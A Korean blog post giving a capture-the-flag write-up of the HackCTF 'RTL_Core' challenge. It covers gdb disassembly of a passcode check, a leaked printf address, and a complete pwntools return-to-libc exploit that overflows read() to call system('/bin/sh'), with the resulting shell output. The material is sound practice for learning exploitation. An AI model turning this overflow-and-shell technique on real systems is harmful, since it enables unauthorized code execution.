본문 바로가기

CTF_Write_UP/HackCTF

[HackCTF] RTL_Core

시작

안녕하세요 :D

200점짜리 문제도 끝나서.. 이 문제부턴 250점이에요.

실제 대회에선 100점대 점수 문제만 겨우겨우 풀었는데 200점을 넘어서다니ㅠㅠ 감동이에요.

배점이 배점인만큼 어렵고 흥미로운 문제를 기대해봅니다.

시작해보죠!!

Write UP

root@goorm:/workspace/LCH_Server/HackCTF/16.RTL_Core# ./rtlcore
코어 파일에 액세스중입니다...
패스코드를 입력해주세요
Passcode: aaaa
실패!

패스코드를 달라고 하더니, 틀리니깐 실패! 를 출력합니다.

.
.
   0x080486c7 <+66>:    add    esp,0x10
   0x080486ca <+69>:    sub    esp,0xc
   0x080486cd <+72>:    lea    eax,[ebp-0x1c]
   0x080486d0 <+75>:    push   eax
   0x080486d1 <+76>:    call   0x8048470 <gets@plt>
   0x080486d6 <+81>:    add    esp,0x10
   0x080486d9 <+84>:    sub    esp,0xc
   0x080486dc <+87>:    lea    eax,[ebp-0x1c]
   0x080486df <+90>:    push   eax
   0x080486e0 <+91>:    call   0x80485cb <check_passcode>
.
.

main() 함수에서부터 gets()로 입력받긴 하지만 일단 check_passcode()란 함수가 보이니 얘를 먼저 볼게요.

gdb-peda$ pd check_passcode
Dump of assembler code for function check_passcode:
   0x080485cb <+0>:     push   ebp
   0x080485cc <+1>:     mov    ebp,esp
   0x080485ce <+3>:     sub    esp,0x10
   0x080485d1 <+6>:     mov    eax,DWORD PTR [ebp+0x8]
   0x080485d4 <+9>:     mov    DWORD PTR [ebp-0xc],eax
   0x080485d7 <+12>:    mov    DWORD PTR [ebp-0x8],0x0
   0x080485de <+19>:    mov    DWORD PTR [ebp-0x4],0x0
   0x080485e5 <+26>:    jmp    0x80485ff <check_passcode+52>
   0x080485e7 <+28>:    mov    eax,DWORD PTR [ebp-0x4]
   0x080485ea <+31>:    lea    edx,[eax*4+0x0]
   0x080485f1 <+38>:    mov    eax,DWORD PTR [ebp-0xc]
   0x080485f4 <+41>:    add    eax,edx
   0x080485f6 <+43>:    mov    eax,DWORD PTR [eax]
   0x080485f8 <+45>:    add    DWORD PTR [ebp-0x8],eax
   0x080485fb <+48>:    add    DWORD PTR [ebp-0x4],0x1
   0x080485ff <+52>:    cmp    DWORD PTR [ebp-0x4],0x4
   0x08048603 <+56>:    jle    0x80485e7 <check_passcode+28>
   0x08048605 <+58>:    mov    eax,DWORD PTR [ebp-0x8]
   0x08048608 <+61>:    leave
   0x08048609 <+62>:    ret
End of assembler dump.

어떤 연산이 진행되는 모습입니다.

딱 보니 ebp-0x4가 i 같은 카운트 변수고, ebp-0x8을 eax에 넣고 리턴하는 걸로 보아 ebp-0x8의 값을 잘 맞춰주어야 하겠네요.

.
.
   0x080486e0 <+91>:    call   0x80485cb <check_passcode>
   0x080486e5 <+96>:    add    esp,0x10
   0x080486e8 <+99>:    mov    edx,eax
   0x080486ea <+101>:   mov    eax,ds:0x804a030
   0x080486ef <+106>:   cmp    edx,eax
   0x080486f1 <+108>:   jne    0x804870a <main+133>
   0x080486f3 <+110>:   sub    esp,0xc
   0x080486f6 <+113>:   push   0x8048840
   0x080486fb <+118>:   call   0x8048480 <puts@plt>
   0x08048700 <+123>:   add    esp,0x10
   0x08048703 <+126>:   call   0x804860a <core>
   0x08048708 <+131>:   jmp    0x804871a <main+149>
   0x0804870a <+133>:   sub    esp,0xc
   0x0804870d <+136>:   push   0x8048881
   0x08048712 <+141>:   call   0x8048480 <puts@plt>
   0x08048717 <+146>:   add    esp,0x10
   0x0804871a <+149>:   mov    eax,0x0
   0x0804871f <+154>:   mov    ecx,DWORD PTR [ebp-0x4]
   0x08048722 <+157>:   leave
   0x08048723 <+158>:   lea    esp,[ecx-0x4]
   0x08048726 <+161>:   ret
End of assembler dump.

그렇게 리턴된 값에 따라 cmp 구문을 거쳐 core() 함수의 실행 여부가 갈리게 됩니다.

0x804a030에 들어있는 값은 0xc0d9b0a7 이에요.

   0x080485d1 <+6>:     mov    eax,DWORD PTR [ebp+0x8]
   0x080485d4 <+9>:     mov    DWORD PTR [ebp-0xc],eax
   0x080485d7 <+12>:    mov    DWORD PTR [ebp-0x8],0x0
   0x080485de <+19>:    mov    DWORD PTR [ebp-0x4],0x0
   0x080485e5 <+26>:    jmp    0x80485ff <check_passcode+52>
   0x080485e7 <+28>:    mov    eax,DWORD PTR [ebp-0x4]
   0x080485ea <+31>:    lea    edx,[eax*4+0x0]
   0x080485f1 <+38>:    mov    eax,DWORD PTR [ebp-0xc]
   0x080485f4 <+41>:    add    eax,edx
   0x080485f6 <+43>:    mov    eax,DWORD PTR [eax]
   0x080485f8 <+45>:    add    DWORD PTR [ebp-0x8],eax
   0x080485fb <+48>:    add    DWORD PTR [ebp-0x4],0x1
   0x080485ff <+52>:    cmp    DWORD PTR [ebp-0x4],0x4
   0x08048603 <+56>:    jle    0x80485e7 <check_passcode+28>

check_passcode() 함수로 돌아와서 이 연산을 보면

DWORD, 4 bytes 단위로 우리의 입력을 끌고와서 덧셈을 하는 것이 보이네요.

따라서 4 * 5 = 20 bytes의 입력을 우리가 주고, 얘들을 4 bytes 단위로 끊어서 더한 값이 0xc0d9b0a7이면

core() 함수를 실행시킬 수 있을 것 같습니다.

Input으로 0xc0d9b0a7(4) + \x00 * 16을 주겠습니다.

gdb-peda$ pd core
Dump of assembler code for function core:
   0x0804860a <+0>:     push   ebp
   0x0804860b <+1>:     mov    ebp,esp
   0x0804860d <+3>:     push   edi
   0x0804860e <+4>:     push   ebx
   0x0804860f <+5>:     sub    esp,0x40
   0x08048612 <+8>:     mov    DWORD PTR [ebp-0x3e],0x0
   0x08048619 <+15>:    lea    eax,[ebp-0x3a]
   0x0804861c <+18>:    mov    ecx,0x2e
   0x08048621 <+23>:    mov    ebx,0x0
   0x08048626 <+28>:    mov    DWORD PTR [eax],ebx
   0x08048628 <+30>:    mov    DWORD PTR [eax+ecx*1-0x4],ebx
   0x0804862c <+34>:    lea    edx,[eax+0x4]
   0x0804862f <+37>:    and    edx,0xfffffffc
   0x08048632 <+40>:    sub    eax,edx
   0x08048634 <+42>:    add    ecx,eax
   0x08048636 <+44>:    and    ecx,0xfffffffc
   0x08048639 <+47>:    shr    ecx,0x2
   0x0804863c <+50>:    mov    edi,edx
   0x0804863e <+52>:    mov    eax,ebx
   0x08048640 <+54>:    rep stos DWORD PTR es:[edi],eax
   0x08048642 <+56>:    sub    esp,0x8
   0x08048645 <+59>:    push   0x80487b0
   0x0804864a <+64>:    push   0xffffffff
   0x0804864c <+66>:    call   0x80484a0 <dlsym@plt>
   0x08048651 <+71>:    add    esp,0x10
   0x08048654 <+74>:    mov    DWORD PTR [ebp-0xc],eax
   0x08048657 <+77>:    sub    esp,0x8
   0x0804865a <+80>:    push   DWORD PTR [ebp-0xc]
   0x0804865d <+83>:    push   0x80487b8
   0x08048662 <+88>:    call   0x8048460 <printf@plt>
   0x08048667 <+93>:    add    esp,0x10
   0x0804866a <+96>:    sub    esp,0x4
   0x0804866d <+99>:    push   0x64
   0x0804866f <+101>:   lea    eax,[ebp-0x3e]
   0x08048672 <+104>:   push   eax
   0x08048673 <+105>:   push   0x0
   0x08048675 <+107>:   call   0x8048450 <read@plt>
   0x0804867a <+112>:   add    esp,0x10
   0x0804867d <+115>:   nop
   0x0804867e <+116>:   lea    esp,[ebp-0x8]
   0x08048681 <+119>:   pop    ebx
   0x08048682 <+120>:   pop    edi
   0x08048683 <+121>:   pop    ebp
   0x08048684 <+122>:   ret
End of assembler dump.

core() 함수입니다.

핵심은 dlsym() 함수인데요!! 이 친구는 공유 라이브러리에서 함수의 시작 주소를 리턴해줘요.

gdb-peda$ x/s 0x80487b0
0x80487b0:      "printf"

즉, printf()의 주소를 던져주는거죠.

라이브러리도 줬으니 system()과 “/bin/sh”의 offset을 구하고 read() 구문에서 터뜨리면 될 것 같습니다.

코드는 다음과 같아요.

from pwn import *

context.log_level = "debug"

#p = process("./rtlcore")
p = remote("ctf.j0n9hyun.xyz", 3015)

payload = ""
core = 0x804860a
system_offset = 0xe6e0
binsh_offset = 0x11000b

p.recvuntil("Passcode: ")

payload += "\xa7\xb0\xd9\xc0"
payload += "\x00" * 16

p.sendline(payload)

p.recvuntil("0x")

printf_addr = int(p.recv(8), 16)

log.info("printf_addr = " + hex(printf_addr))

system = printf_addr - system_offset
binsh = printf_addr + binsh_offset

exploit = ""

exploit += "A" * 66
exploit += p32(system)
exploit += "AAAA"
exploit += p32(binsh)

p.sendline(exploit)

p.interactive()
[+] Opening connection to ctf.j0n9hyun.xyz on port 3015: Done
[*] printf_addr = 0xf7e55020
[*] Switching to interactive mode
 일거야
$ ls
flag
main
$ cat flag
//flag!!!

Exploit!!

마무리

갑자기 수준이 확 뛴 느낌입니다 ㅋㅋㅋ

main()에서 gets()를 주길래 허무할 뻔.. 했지만 재미있게 풀었네요.

감사합니다 :D

'CTF_Write_UP > HackCTF' 카테고리의 다른 글

[HackCTF] Look at me  (0) 2019.09.23
[HackCTF] Beginner_Heap  (0) 2019.09.23
[HackCTF] Random Key  (0) 2019.09.22
[HackCTF] 1996  (0) 2019.09.22
[HackCTF] Poet  (0) 2019.09.22